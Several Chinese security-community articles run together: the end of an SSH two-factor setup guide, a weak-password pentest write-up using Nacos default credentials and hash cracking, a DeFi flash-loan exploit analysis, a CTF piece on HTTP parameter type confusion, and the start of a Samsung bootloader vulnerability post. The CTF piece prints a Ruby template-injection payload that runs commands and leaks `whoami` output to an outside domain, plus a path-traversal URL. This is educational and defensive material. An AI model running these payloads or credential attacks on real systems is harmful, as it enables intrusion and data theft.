code, the next code) to 17 permitted codes (the 8 previous codes, the current
code, and the 8 next codes). This will permit for a time skew of up to 4 minutes
between client and server.
Do you want to do so? (y/n) n
If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting? (y/n) y
# 配置 SSH
第一步配置完成了， **这时候请重新打开一个 SSH 连接，第一个不要关闭，以防止配置错误导致自己也连接不上**
用你喜欢的文本编辑器打开`/etc/pam.d/sshd`，然后将`auth required pam_google_authenticator.so
nullok`添加到文件的尾部。
> 注意：`nullok`
> 的意思是这项验证是可选的，如果你没有TOTP令牌的话，仍然可以使用SSH密码和密钥登录，我们为了保险起见先使用这个，等到配置好了之后就可以去掉了。
接下来打开`/etc/ssh/sshd_config`，找到`ChallengeResponseAuthentication`，并将其设置为`Yes`
然后保存退出，`sudo systemctl restart sshd`，重启一下 SSH 服务
接下来重新 SSH 连接一下你的服务器，你会发现需要输入额外的验证码才能登录服务器了。
* * *
## 让 SSH 知道 MFA( **只使用密码登录可跳过此步** )
因为 SSH 密钥会覆盖掉2FA设置，所以用账号密码登录是没有问题的，但是如果你在使用公私钥登录的时候，就不会出现 Google Authenticator
的提醒，所以我们需要做以下操作:
打开 `/etc/ssh/sshd_config` 文件，加入这行：
`AuthenticationMethods publickey,password publickey,keyboard-interactive`
然后打开`/etc/pam.d/sshd`,取消注释`#@include common-auth`这一行。
保存退出后再次重启 SSH 服务即可，如果正常的话，在使用私钥登录的时候也可以输入密码了。
## 丢失了令牌怎么办
还记得那几个 `Emergency Code`吗？
如果在没有令牌的情况下，可以使用这五个 Emergency Code 进行登录，当然这五个Code是一次性的，使用完成后就会失效。
## 更改身份验证设置
打开 `/home/YourName/.google_authenticator`文件，你会看到下面的内容：
BWZBHD7TPTI3R3PK52TG6GNBX4
" RATE_LIMIT 3 30 1558529144
" DISALLOW_REUSE 51950963
" TOTP_AUTH
36705104
62558944
24965430
29372119
* 第一行就是你在扫描二维码或者手动输入的密钥，可以进行更换。
* `RATE_LIMIT` 为限制多次登录的次数，也可以修改
* 要允许多次使用单个代码，请删除`DISALLOW_REUSE`这一行
* `TOTP_AUTH`对应的是上面的"基于时间"，如果你要改成“基于计数器”，请将`TOTP_AUTH`换成`HOTP_COUNTER 1`
* 下面的几行就是一次性恢复代码了，你可以自己添加，也可以全部删除掉。 | 社区文章 |
# 渗透实战：记一次弱口令的挖掘
## 前言
最近领导安排了一次众测任务给我这个驻场的安服仔，是甲方公司一个新上线的系统，要求对此系统进行漏洞挖掘。没有任何测试账号，资产ip等信息，领导丢下一个域名就跑了。
## 信息收集
打开域名，就是一个堂堂正正的登陆界面
使用nslookup查一下域名解析
先对ip进行端口信息收集，除了一个443和一个识别不出来的2000端口，就没有其他端口。那么只能从web入手了。
简单扫了一下目录，发现了后台登陆界面
## 漏洞发掘初试
由于web只找到两个登陆页面，其他什么都找到，那么只能先对登陆页面进行测试。看到前台登陆页有短信登陆功能，马上想到短信发送是否有频率和次数限制，如有则存在短信炸弹漏洞。虽说不是什么危害性很大的漏洞，但漏洞就是漏洞！然鹅，这么简单都洞找不到，哭了。
至于爆破账号密码也不要想了，验证码是真的，而且这密码还rsa加密，真的没啥心情去尝试爆破，估计毫无成功的希望。至此陷入僵局。
## 另辟蹊径
虽说是月薪只有几千的安服仔，但作为一名无证信息安全从业人员，怎能轻易言败。重新换个角度进行思考，首先这是一个新上线的系统，而总所周知，甲方公司不具备任何开发能力，那么此系统必然是由第三方公司进行开发，而系统正式上线之前大概率是有测试系统的。下一步就是尝试去寻找此测试系统了。首先留意到前台登陆页面的源码中，可以看到甲方公司的用户协议文本。
在各大网络空间搜索引擎中使用如下命令进行查找
tilte = "xxxx" & body = "xxxx"
经过一番搜索，可以发现一个不能说是相似，只能说是一模一样的网站。
常规操作，先进行一波端口扫描。这个站端口比起生产系统的多了好几个，分别有：
22 : ssh
3306 : Mysql
6379 : Redis
3000 : HTTP 测试网站
5080 : HTTP 开发商另外一个项目的网站
8848 : HTTP 不明
3000端口的测试网站跟生产站类似，只有一个登陆界面，后台地址也是一样的，也是拿它没任何办法。Mysql和Redis都是有密码的，暂时也没办法。那么将目光投向另外两个Http服务。
1. 5080端口，也是一个只有一个登陆界面的网站，看得出跟3000端口的网站是同一个框架搭建，可以暂时略过。
2. 8848端口打开是nginx默认页，估计是需要指定uri才能打开。简单搜索一下`8848`这个关键字，发现是nacos使用的默认端口。
什么是 Nacos
> Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration
> Service的首字母简称，一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
> Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
> Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式)
> 的服务基础设施。
简单来说，就是nacos里面有大量配置文件。既然有默认端口，那么有默认口令也是人之常情。直接一发`nacos:nacos`，一发入魂！
翻查各种配置文件，发现大量敏感信息，可以找到Mysql和Redis的密码。
3306端口对外开放，直接进入Mysql里面翻网站的账号和密码hash，在另外一个表，还可以找到密码hash使用的salt。
导出数据库所有hash，先肉眼看一下，发现有大量hash是相同，机智的你看到这个，肯定想到这要不是弱口令，要不就是默认密码。
马上准备下班了，先用8位纯数字+小写字母进行爆破，丢上服务器慢慢爆，明天一早起床收割。
## 弱口令挖掘
第二天一早上班，看了一下爆破结果，又有新的发现。爆破出来的密码，大多是有特定格式的。主要的格式是：四位甲方公司英文简写+4位数字（以下我就用abcd代表该公司简写）。
使用爆破出来的口令成功登入测试网站的前台，因为是测试网站，里面也没啥有价值的系统。我们的目标还是要爆破出后台管理的密码。
下一步要继续优化爆破字典，根据我对此甲方公司的了解和多年配置弱口令的经验，我初步想到以下两个思路：
1. 使用大小组合的甲方公司英文简写+4位数字进行爆破。或者直接使用首字母大写就足够了（能按一下shift，就不想按两下，对吧），这个方案复杂度最低，甚至可以再加2位数字进行爆破。
2. 使用大小组合的甲方公司英文简写+一位特殊字符+4位数字，或者大小组合的甲方公司英文简写+4位数字+一位特殊字符。大部分人为了强行加入特殊字符，一般喜欢在字符和数字之间加，或者在最后一位，此方案就是针对这种习惯。
废话不多说，直接爆起来。
3 hours later。。。。
方案二的字典成功爆出后台密码，密码是：`Abcd2333@`，严格意义上，这已经是很强的口令，有大小写字母、数字、特殊字符。但是，如果对这个公司有所了解，很容易就能发现其常用的简写，这么来说的话，这密码也能算是一个“弱口令”。
测试站后台成功拿下。经过后台一番探索，基本可以确定是thinkphp6，而且没有多语言插件（谁没事装这插件。。。），getshell无望。Redis权限太低，版本不是4.x，也没啥办法。至此测试站渗透结束。
## 回到生产网站
虽说没有成功拿下测试站有点可惜，不过从测试站的数据库拿到不少的账号和密码，这些账号密码极有可能能登陆生产网站。简单整理一下各种账号口令，都是富有甲方特色的账号，例如：
账号：abcdadmin，密码：Abcd#2022
账号：abcdtest01，密码：Abcd2333!
账号：abcdtest02，密码：Abcd2333!
账号：admin01，密码：abcd2333
手工组合各种账号和密码在主站进行测试，轻松进入后台。
编写报告：`后台弱口令【高危】.docx`，任务完成，安服仔永不言败~
## 总结
学艺不精，没办法getshell拿到权限，实在太菜。此文主要记录一个强行挖掘弱口令的过程，渗透测试需要猥琐的思路，弱口令也不再局限于top100，top1000之类。 | 社区文章 |
# Earing Farm攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
零时科技区块链安全情报平台监控到消息，北京时间2022年10月15日，DeFi 投资工具 Earning.Farm 遭受闪电贷攻击，黑客获利超 34
万美元，攻击者地址为0xdf31f4c8dc9548eb4c416af26dc396a25fde4d5f，零时科技安全团队及时对此安全事件进行分析。
## 攻击步骤
1.调用闪电贷借出560 ETH
2.调用receiveFlashloan函数，根据userData传入参数调用_withdraw函数计算获利资金为833 stETH
3.归还闪电贷资金560ETH，此时合约中仍有资金约273stETH
4.调用withdraw函数取出合约中资金
5.攻击者共获利268.7ETH
## 漏洞核心
合约正常逻辑为通过调用withdraw函数，判断用户持有的ef_token数量后计算用户获得的收益，之后通过闪电贷还款后剩余的资金就是用户获得的收益。
但是在Vault合约中对于调用闪电贷的地址没有进行判断，因此攻击者可以自行调用闪电贷合约，将闪电贷的接受者设置为EFLevelValue的地址，并且传入的参数由用户控制，攻击者可以自行设置userData的数据。
在receiveFlashLoan函数中可以看到当传入参数哈希值与“0x2”哈希值相等时执行_withdraw函数
攻击者传入参数userData为307832，通过进制转换可知为字符串0x2
在_withdraw()函数中根据传入的 amount将stETH从AAVE中取出后兑换为WETH，之后归还闪电贷资金，剩余资金存在合约中。
在withdraw（）函数中转账数量计算时没有对于用户应收的资金进行判断，而是将合约中剩余资金全部转出。
因此攻击者通过正常调用withdraw函数，可以使用少量的ef_token将合约中的资金全部转出。
## 资金来源及去向
攻击者初始资金来源于跨链合约
后续攻击者将部分资金转移至Tornado.cash混币平台，部分资金转移至
地址0xDa08116d1e36CaDe5dE91bc6892FB0fAF00eBf15后通过multichain款连合约转出
## 总结及建议
此次攻击主要是由于在闪电贷合约中没有对闪电贷合约发起者进行判断使得攻击者可以直接调用闪电贷将闪电贷接收者设置为被攻击合约进行计算奖励的操作，并且在提取奖励时没有对用户应获得的奖励进行判断，直接将合约剩余资金全部转出，因此攻击者可以使用少量的ef_token将攻击获得资金全部转移。
**安全建议**
建议在闪电贷时对发起闪电贷地址进行判断，避免攻击者恶意调用合约
建议项目方上线前进行多次审计，避免出现审计步骤缺失 | 社区文章 |
## 前言
这个思路的起因是因为 今年的SCTF2019我出的一道Web题目 Flag
Shop，当时这道题目我准备的考点只是一个ruby的小trick，并且有十几个队伍成功解出，但是在比赛的最后
VK师傅@Virink告知我这道题存在一个非预期
可以GetShell。这个非预期Getshell的知识点就是本文的主体内容，而后我在多个编程语言里进行了测试，发现很多语言也存在相似的问题。遂有了此文章。
在文章发布之前的UNCTF中，我把node.js在此攻击面上的问题单独抽离了出来做了一道题目。想看这道题wp的师傅可以移步另外一篇文章
推荐师傅们看此文章前，先看一遍 SCTF 2019 Flag Shop和 UNCTF arbi第三部分的Wp
SCTF flag shop Write-up [flag-shop](https://github.com/ev0A/SCTF2019-Flag-Shop)
## 例题
我还是决定先从大家最喜欢的PHP讲起，请看这一道例题
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年，继续努力吧啊~';
}
?>
这是Bugku的一道题目
相信大部分人都做过，考察的是PHP的弱类型，这里只需要输入?ctf[]=1即可绕过，这就是一个最简单的HTTP传参的类型差异的问题，但是实际中不可能有程序员写出这种无厘头的代码，而且在CTF中这样出题也会让赛棍瞬间想起这个知识点从而秒题，所以就在思考，有没有什么实际中可能存在的代码和CTF中不那么容易被赛棍秒题的写法呢
## Ruby
为了让大家更快了解我的标题的含义，我直接用我当时flag shop非预期来做一个讲解
### 预期解
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
这个就是我的Flag Shop中存在非预期的代码，如果对这道题不是特别了解的话可以去看看，buuctf有此题的复现环境<http://buuoj.cn/>
再此感谢下赵总上题 @glzjin
这里简单讲一下 预期做法，就是此题用了一个ERB模板引擎，在此题条件下存在模板注入的问题，但是我限制了用户只能输入7位 字符串进行模板注入 就是上面的第一行
`#{params[:name][0,7]}`
这行代码 代表 url参数名是name 并取前七位，然后模板渲染并且可回显需要`<%==>` 标志，除去这5个字符只剩下2个字符可用
，这道题就是两个字符进行模板注入爆破JWT-Secret。
### 非预期解
当然，上面是预期解的做法，下面讲讲非预期解的做法，
看文下面这个代码，大家就知道为什么会产生非预期了
$a = "qwertyu"
$b = Array["bbb","cc","d"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"
`#{}`可以想象成 ${} 代表解析里面的变量
[0,3]可以想象成python的[0:3]
输出结果
[evoA@Sycl0ver]#> ruby test.rb
$a: qwe
$b: ["bbb", "cc", "d"]
这里，可以类比PHP中的弱类型，$b变量原本是数组，但是由于被拼接到了字符串中，所以数组做了一个默认的类型转换变成了`["bbb", "cc", "d"]`
有了这个trick，上面代码[0,7]从原本的限制7个字符突然变成了限制7个数组长度emmmmmmm，于是
非预期exp
/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6
直接实现了任意命令执行
## 解释
这就是一个HTTP参数传递类型差异的问题，具体的意思就是，由于语言的松散型，url传参可以传入非字符串以外的其他数据类型，最常见的就是数组,而后端语言没有做校验，并且在某些语法上，字符串和数组存在语法重复，就可以利用这个特性，绕过一些程序逻辑
什么叫语法重复，就是对一个变量进行一些操作，不管变量是数组还是字符串，都可以成功执行并返回。
最常见的就是输出语法，比如echo ，大部分编程语言会把数组转换为字符串。
当然，这并不是什么新鲜的攻击面，只是在之前没多少人系统的归纳这种攻击方式，但我觉得如果能找到一个合适的场合，这种利用方式还是很强大的（比如我的getshell非预期Orz
## Javascript
### 数组和字符串
很多师傅是JS的忠实粉丝，因为其强大的灵活性和爽快的代码风格
但是JS不属于强类型语言，他也同样存在类似的问题
var a="abcedfghijtk"
var b=["qwe","rty","uio"]
console.log(a[2])
console.log(b[2])
输出:
[evoA@Sycl0ver]#> node test.js
c
uio
当然，仅仅是一个[]语法还是比较鸡肋的，我们需要找能同时兼容数组和字符串的函数或语法，JS中对数组和字符串通用的函数有哪些呢
测试代码
function contains(arr, obj) {
var index = arr.length;
while (index--) {
if (arr[index] === obj) {
return true;
}
}
return false;
}
//两数组 取并集
function arrayIntersection (a,b){
var len=a.length;
var result=[];
for(var index=0;index<len;index++){
if(contains(b,a[index])){
result.push(a[index]);
}
}
return result;
}
console.log(arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor)))
输出结果
arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor))
(7) […]
0: "prototype"
1: "slice"
2: "indexOf"
3: "lastIndexOf"
4: "concat"
5: "length"
6: "name"
length: 7
<prototype>: Array []
这是数组和字符串通用的方法，除了原型对象自身的方法外，还有全局下的一些函数和语法，他们的参数既可以是数组，也可以是字符串。比如
/test/.test("asdtestasd")
/test/.test(["asdtestasd","123"])
字符串与数组拼接时也存在默认调用toString方法
> b+a
"qwe,rty,uioabcedfghijtk"
### 数组和对象和字符串
然而，Express框架中，有一个更神奇的特性，HTTP不仅可以传字符串和数组，还可以直接传递对象
var express = require('express');
var app = express();
app.get('/', function (req, res) {
console.log(req.query.name)
res.send('Hello World');
})
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
})
输入
?name[123]=123&name[456]=asd
输出
{ '123': '123', '456': 'asd' }
* * *
我们把
`console.log(req.query.name)`
改成
`console.log(req.query.name.password)`
输入
/?name[password]=123456
输出
123456
我们来看几个好玩的
输入 | 输出
---|---
`?name[]=123456&name[][a]=123` | `[ '123456', { a: '123' } ]`
`?name[a]=123456&name=b` | `{ a: '123456', b: true }`
`?name[a]=123456&name[a]=b` | `{ a: [ '123456', 'b' ] }`
`?name[][a]=123456&name[][a]=b` | `[ { a: [ '123456', 'b' ] } ]`
感觉有点像HPP漏洞，但实际又不是
### UNCTF
在UNCTF中，我就用到了此特性，出了一道有点意思的CTF题(arbi第三关）
源码
const fs = require("fs");
module.exports = function(req,res){
if(req.session.username !== "admin"){
return res.send("U Are N0t Admin")
}
if(req.query.name === undefined){
return res.sendStatus(500)
}
else if(typeof(req.query.name) === "string"){
if(req.query.name.startsWith('{') && req.query.name.endsWith('}')){
req.query.name = JSON.parse(req.query.name)
if(!/^key$/im.test(req.query.name.filename))return res.sendStatus(500);
}
}
var filename = ""
if(req.query.name.filename.length > 3){
for(let c of req.query.name.filename){
if(c !== "/" && c!=="."){
filename += c
}
}
}
console.log(filename)
var content = fs.readFileSync("/etc/"+filename)
res.send(content)
}
最终的目的是绕过其他的过滤走到第32行，读取根目录/flag的文件
首先根据前面的关卡伪造admin绕过第三行的判断
可以发现，如果进入了第9行的判断，14行的正则会强行要求我们输入的filename参数必须是key，根本无法读取flag
22行的条件语句很有迷惑性，看上去好像是判断输入的字符串长度是否大于3，如果大于，会把其中所有的.和/删去
如果我们输入的filename参数为普通的字符串，我们根本无法绕过这两层过滤，要获取flag，filename必须是../flag才行
但其实，根据express的特性，我们完全可以构造filename为一个数组，name为对象，
exp：
`/admin23333_interface?name[filename]=../&name[filename]=f&name[filename]=l&name[filename]=a&name[filename]=g`
由于name不为字符串，绕过了第9层过滤，filename为数组，在经过22行的条件语句的时候，由于.length操作和迭代器语法同时可以作用于字符串和数组，存在一个语法上的重复。而针对数组的时候，25行的
+= 又会完美的把数组还原成字符串，最终进入32行的文件读取。所以上面的exp，可以完美的绕过所有的判断，最终读取/flag
结合一下数组和对象通用方法 我觉得，这方面express很多有趣的特性可以去发现
## PHP
php可以从url中获取数组类型,然而可惜的是，php 对于数组和字符串 官方文档中说明，存在重复的语法很少，输出语法中，数组只会被替换为 "Array"
字符串。
但是，数组传入一些函数都会获得一些奇怪的返回值，这就是很多弱类型CTF题目的考法，可以通过url传入数组，进入一个函数，获得一个奇怪的返回值绕过。所以我觉得，在这个方向，PHP还是存在一定的挖掘空间的。
## Python
Python的框架貌似不太支持http传入奇怪的东西
经测试
django 和 flask默认不支持传入奇怪的东西（只能传入字符串）
web2py框架支持传入列表
tornado的`self.get_query_argument`只会获取一个参数，`self.get_query_arguments`可以获取列表
很可惜，如果我们通过一种方式获取到非字符串类型的数据类型（比如json传递，xml传输等），在Python中，我们也能有好玩的方式
PS: Py不像Js那样，获取列表字典的值必须要用xxx["xxx"]的语法而不能用xxx.xxx
废话不多说 看代码
a = "qwertyuiop"
b = ["aaa","bbb","ccc","ddd"]
c = "----%s----" %b
print(a[:3])
print(b[:3])
print(c)
结果
[evoA@Sycl0ver]#> python test.py
qwe
['aaa', 'bbb', 'ccc']
----['aaa', 'bbb', 'ccc', 'ddd']----
同样，python也有全局方法 参数既可以是字符串也可以是变量
a=dir("123")
b=dir([1,2,3,4])
tmp = [val for val in a if val in b]
#取a b 交集
print tmp
结果
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']
可能在这个攻击面上，Python原生提供的方法，确实比较难利用，但是还有很多库和函数没有去测试，我也相信，如果能有一个有趣的数据传输方式，配合python那么多的库和函数，也会有很多很多有趣的攻击方式
## Java
其实我在没测试的时候就猜到了结果
测试发现Springboot 存在HPP漏洞，多个url参数会自动拼接 并用,分割，并不会转换类型
原生JSP & Servlet 在这个方面不存在任何漏洞 果然Java严格数据类型还是牛逼（破音
## Go
我不会什么Go的框架，只测试了Beego，由于Go的强类型
beego也是提供严格的变量获取方法,调用方法的不同决定了参数的类型
比如GetString 返回字符串 GetInt 返回整形 GetStrings返回字符数组，把url变量相同的放到一个数组中
所以正常来说，Go也是真的很安全的
## asp & aspx
测试只发现存在HPP漏洞，多个参数用","分割，不能变为其他数据类型
## 后话
当然，这些利用方式比较单调，除了node有一定的花样外，其他的都比较单一，但是我们也可把眼光方法放大，除了url传参，还有json，xml，protobuf等等数据传输方式，核心的思想还是后端没有有效校验用户传入的数据类型造成的差异。这里只是抛砖引玉，希望之后，能有越来越多关于此方面的攻击利用的好思路 | 社区文章 |
原文：[hexdetective](http://hexdetective.blogspot.tw/)
作者：Nitay Artenstein ([@nitayart](https://twitter.com/nitayart)) and Gilad
Goldman ([@gnull00](https://twitter.com/gnull00))
译： **Holic (知道创宇404安全实验室)**
三星的 Android 安全引导程序（ **S-Boot** ）是其[信任链概念](https://kp-cdn.samsungknox.com/bb91024cad9080904523821f727b9593.pdf)的核心。 攻击者利用 S-Boot
可能会加载不受信任的内核和系统映像这点，以此绕过大多数手机的安全机制。
这是众所周知的攻击思路。它经常被 Android rooting 和 mod 社区使用，而我猜它大概更受执法和政府机构喜爱。
更有意思的是，S-boot 启动时存在几个内存破坏漏洞，其中一个可用于在引导加载程序中实现完整的代码执行。
我们目前在 Exynos 芯片上确认存在该漏洞。貌似在三星S5，S6，S7 上有 90% 使用了 Exynos 的 ROM。最新的 S7 的 ROM
似乎修复了这个漏洞，而我们会在这几天内确认这一点。
漏洞覆盖面很大，那么我们将把它分成两篇文章。在本文中，我们将重点介绍一些 S-Boot
内部机制，然后探索加载程序的攻击面并获得基本的调试功能。我们以发现一个有趣的攻击面作为结束。在下一篇文章中，我们将公开真正的漏洞并利用它得以在 S-boot
中代码执行。
我们不会深入太多逆向 S-Boot 的基础知识，比如 IDA 加载或查找基址。Fernand Lone Sang (@_kamino_)
会放出一篇关于本文的精彩文章，当它发表之时，我会提供链接。如果你需要其他帮助，私信我即可，我很乐意提供帮助。
### 理解 S-Boot
三星的 Android 启动过程开始于 Boot ROM 中运行的代码，使用了 OEM
公钥（在三星设备中被称为三星安全启动密钥（SSBK））验证下一阶段引导加载程序的完整性。然后它将两个独立进程加载到内存中：一个是 S-Boot
本身，另一个是在 TrustZone TEE （可信执行环境）中运行的 “安全世界”。
这两个进程协同工作。TEE 操作系统，在Exynos 处理器的情况下对应 Trustonic（之前的 MoboCore），由 S-Boot
调用，以验证镜像在加载之前的签名。因此 S-Boot 或 TEE 中的任何一个都可能成为整个系统的潜在风险。
S-Boot本身分为两部分：第一阶段 Bootloader BL1 由 Boot ROM 调用并初始化低级系统原语。BL1 在验证其签名后跳入
BL2，这是自身已经是最小的操作系统，完成了对 USB，显示器和 I/O 的驱动支持。
既然我们有兴趣找到
bug，那么让我们破坏启动的引导过程吧，我们决定找到它尽可能接近实际的内核启动方式。这是因为我们知道已经有了一个初始化的系统，，进一步的操作，比如磁盘
I/O - 我们需要做的是刷入自定义的镜像 - 做一点微小的工作。因此，我们决定在此阶段跳入 BL2 并忽略 BL1 （虽然我们确定此后会破坏这一阶段）。
此阶段下，没有任何调试功能，只是 sboot.bin 与三星 Exynos 标准镜像合并在了一起。那么我们在 IDA 中打开它，对 BL2 进行研究。
A typical function in BL2. Notice the quantity of strings
其实挺简单的：知道了 BL1 主要负责底层初始化，而 BL2 几乎是一个全功能的操作系统，我们可以由此得出结论，属于 BL2
的功能肯定更多，而且具有更多的调试字符串和其他函数引用。一旦我们确定 BL2 的位置，我们使用经典的逆向技巧即可确定内存中映像的基址。
在更高的层次上，BL2 有几个有趣的任务，包括且不仅限于：
1. 启动内核
2. 闪存刷入新的固件镜像
3. 在固件更新期间显示基本的用户界面
4. 调试（运气好的话）
BootLoader 阶段，加载新固件映像的机制通常是最好的攻击面，因为它涉及到与攻击者的输入直接交互以及各种复杂的逻辑。那么下面就是我们首先看到的。
### Into Odin
对三星 Android 手机有过研究的人都知道 Odin，这是个可敬但有些笨重的软件，它的功能是将固件 ROM 刷入设备存储器中。
在设备端，刷入新的固件要先把手机切换到下载模式，这个在 S-Boot 中得以实现，然后通过 USB 连接到运行 Odin 客户端的主机。然后 Odin
客户端将选中的固件镜像发送到设备上运行的 Odin 服务器。当然，你不能刷入任何镜像，在有锁的三星设备上，BootLoader 将拒绝未签名的三星固件。
Download mode. Locked bootloaders reject unsigned images
在 BootLoader 一端，Odin 引导 BootLoader使用了相当全面的协议，通过 USB 接收传输数据。这就是我们率先发力之处。
如果想继续跟进分析，我们使用的 ROM 版本是 **G930FXXU1APF2** 。这是三星 Galaxy S7 的 ROM，可以直接从 [Sam
Mobile](https://www.sammobile.com/firmwares/download/77386/G930FXXU1APF2_G930FH3G1APF1_H3G/)
下载。
Odin 处理程序代码中有个关键函数是 `process_packet`（位于地址 0x8F00A0A4 处），它几乎处理了所有的 Odin
协议。刚读到函数代码我们就遇到一个问题：
The beginning of process_packet
如你所见，Odin 协议查找数据包 ID，并选择代码分支。数据包 ID 0x65 告诉 Odin 要进行一个 PIT 文件相关的操作（PIT
包含分区信息，可参考[此 XDA 串](https://forum.xda-developers.com/showthread.php?t=999097)）。
当代码运行至 ID 0x65，它会将当前 PIT 文件读取到缓冲区，或者写入一个新的 PIT 文件到保存 PIT 数据的特殊分区。如果第二个字节是
1，Odin 继续将当前 PIT 复制到缓冲区，然后传递至 Odin 客户端。客户端需要它来确认新的固件是否适合当前分区方案。
但是 PIT 被复制的目标缓冲区（xfer_data.pit_buf）在哪里被初始化呢？显然，它在这种情况下被分配：
The
allocated of pit_buf
这意味着你必须在缓冲区分配之前发送初始化数据包（ID 0x64）。如果没有的话，缓冲区是指向 0 地址的。如果你试图在缓冲区分配之前复制 PIT
，代码会继续向 0 地址空间复制：经典的空指针解引用漏洞。
这个类似于我们在 Odin 中发现的其他漏洞，它能使 BootLoader 崩溃，但不一定能利用。这种情况下，鉴于 ARM64 架构，0
地址空间没有映射，任何尝试复制到这儿的操作都会使它马上崩溃，而在 ARM32
体系上就不是那么糟糕了，因为0地址可能包含被覆盖的异常向量表（EVT）。那么问题来了，我们写入的数据依然是不可控的，因为我们无法控制 PIT 数据。
但是这个漏洞确实给了我们很多额外的东西。当我们触发漏洞并崩溃 BootLoader 时，屏幕上会显示什么？
Inside Upload Mode
### Dumping Memory
代码表明 BootLoader 处理的异常输出到了屏幕上面，然后输入参考引用为“上传模式”的东西。这个方面的开发就有意思了：上传模式是一个半密码引导的
BootLoader 模式，且已经[困惑了mod社区多年](https://forum.xda-developers.com/showthread.php?t=858233)。有些用户报告内核恐慌后得以触发，也有人说，它是由于 PMIC
问题。现在我们知道了可以在 BootLoader 异常的时候进入该模式。
观察对应代码，我们看到上传模式位于 `usbd3_rdx_process`（对应地址
0x8F028C1C），属于内联函数。我对代码进行了一些修改简化，以便观察。
mode_switch = p_board_info->mode_switch;
if ( mode_switch & UPLOAD_MODE )
{
if ( !transaction_data.response_buffer )
{
transaction_data.response_buffer = (char *)malloc(0x80000);
if ( !transaction_data.response_buffer )
{
printf("%s: buffer allocation failed.\n", "usbd3_rdx_process");
goto INFINITE_LOOP;
}
}
if ( !strcmp(packet_buf, "PoWeRdOwN") )
{
goto POWERDOWN;
}
if ( !strcmp(packet_buf, "PrEaMbLe") )
{
memcpy(transaction_data.response_buffer, "AcKnOwLeDgMeNt", 15);
goto SEND_RESPONSE;
}
if ( !strcmp(packet_buf, "PrObE") )
{
memcpy(transaction_data.response_buffer, log_location_buf, log_location_buf_size);
goto SEND_RESPONSE;
}
...
dump_start_addr = strtol(packet_buf, NULL, 16);
dump_end_addr = strtol(packet_buf + 9, NULL, 16);
...
(some length checks)
...
memcpy(transaction_data.response_buffer, dump_start_addr, dump_end_addr - dump_start_addr);
goto SEND_RESPONSE;
这是个相当基础的协议，用于设备的内存转储。发送一系列初始化数据包后，只需再发送转储起始地址和结束地址，然后通过 USB 恢复转储。
这对调试和逆向分析很有用，因为我们可以在崩溃之后转储内存，查看寄存器和堆栈，然后弄清发生了什么。当然还可以 dump
全部内存以帮助我们逆向。我们将会看到这种能力在文章第二部分很有用。
由于我们没有找到公开的工具用来通过上传模式转储
RAM，然后[我自己写了个](https://github.com/nitayart/sboot_dump)。
### Fuzzing Odin
这时，我们回到 Odin 协议，希望找到一个可利用的 bug。进入新的攻击面之时，我们要写出基本的 fuzz 工具，以便尽快达成目标。
实施证明 S-Boot 还是有点难度的，因为它使用 CDC
ACM（一种串口形式）的专有协议，很难使其正常运行。一些小细节至关重要：比如，你必须在每个标准数据包后发送一个空包，一些数据包需要 1024
字节，即使它实际只包含 4 个字节的有效数据。时间有限，从零开始 fuzz 就太慢了。
Benjamin Dobell 的 [Heimdall](https://github.com/Benjamin-Dobell/Heimdall)
此处就该登场了。Heimdall 是个开源的 Odin 客户端协议交互工具，它辅助处理与 Odin BootLoader 交互的部分，所以我们将其作为
fuzzer 的基础，然后进行一些扩展。
我们添加了一个名为 “fuzz” 的命令行选项，仅需一些原始数据包，可以使用 Python
预先生成，然后将它们依次发送至设备，同时处理底层细节。[点此下载](https://github.com/nitayart/heimdall_fuzz)
我们使用这种方法在 Odin 中发生了一些有趣的崩溃，但貌似不能利用。此时我们决定花一些时间扩展 Odin 应用，那么就需要更深入的研究
Odin。下面是我们的一些有趣的发现。
### The UART Console
搜索二进制，我们在 0x8F08BD78 处找到一些可疑的字符串指针。
The
possible command list
看起来像是配对的命令名称和描述，可能是某种终端用于诊断的命令 - 在其他嵌入式项目中挺常见的，但此处并不是我们想要的。
要是有某种串口，能使我们连接到这个终端就好了，我们发现 XDA 的成员已经[做到了这一步](https://forum.xda-developers.com/showthread.php?t=1901376)。
事实证明，三星已经留下了一个 UART 终端，可以通过 BootLoader
打开，通过它暴露了一些低级的命令用户服务诊断。其中一些命令可以使用特殊参数启动内核，从存储器读取或写入，并触发各种 USB 模式。
然而，自从 2012 年 XDA 发布以来，还没有人对这些终端的输入做公开报告，使很多研究人员以为这个借口已被切断。我们想要对这一假设进行测试。
进一步阅读后，尤其是 [Michael Ossmann和Kyle Osborn 2013年的Black
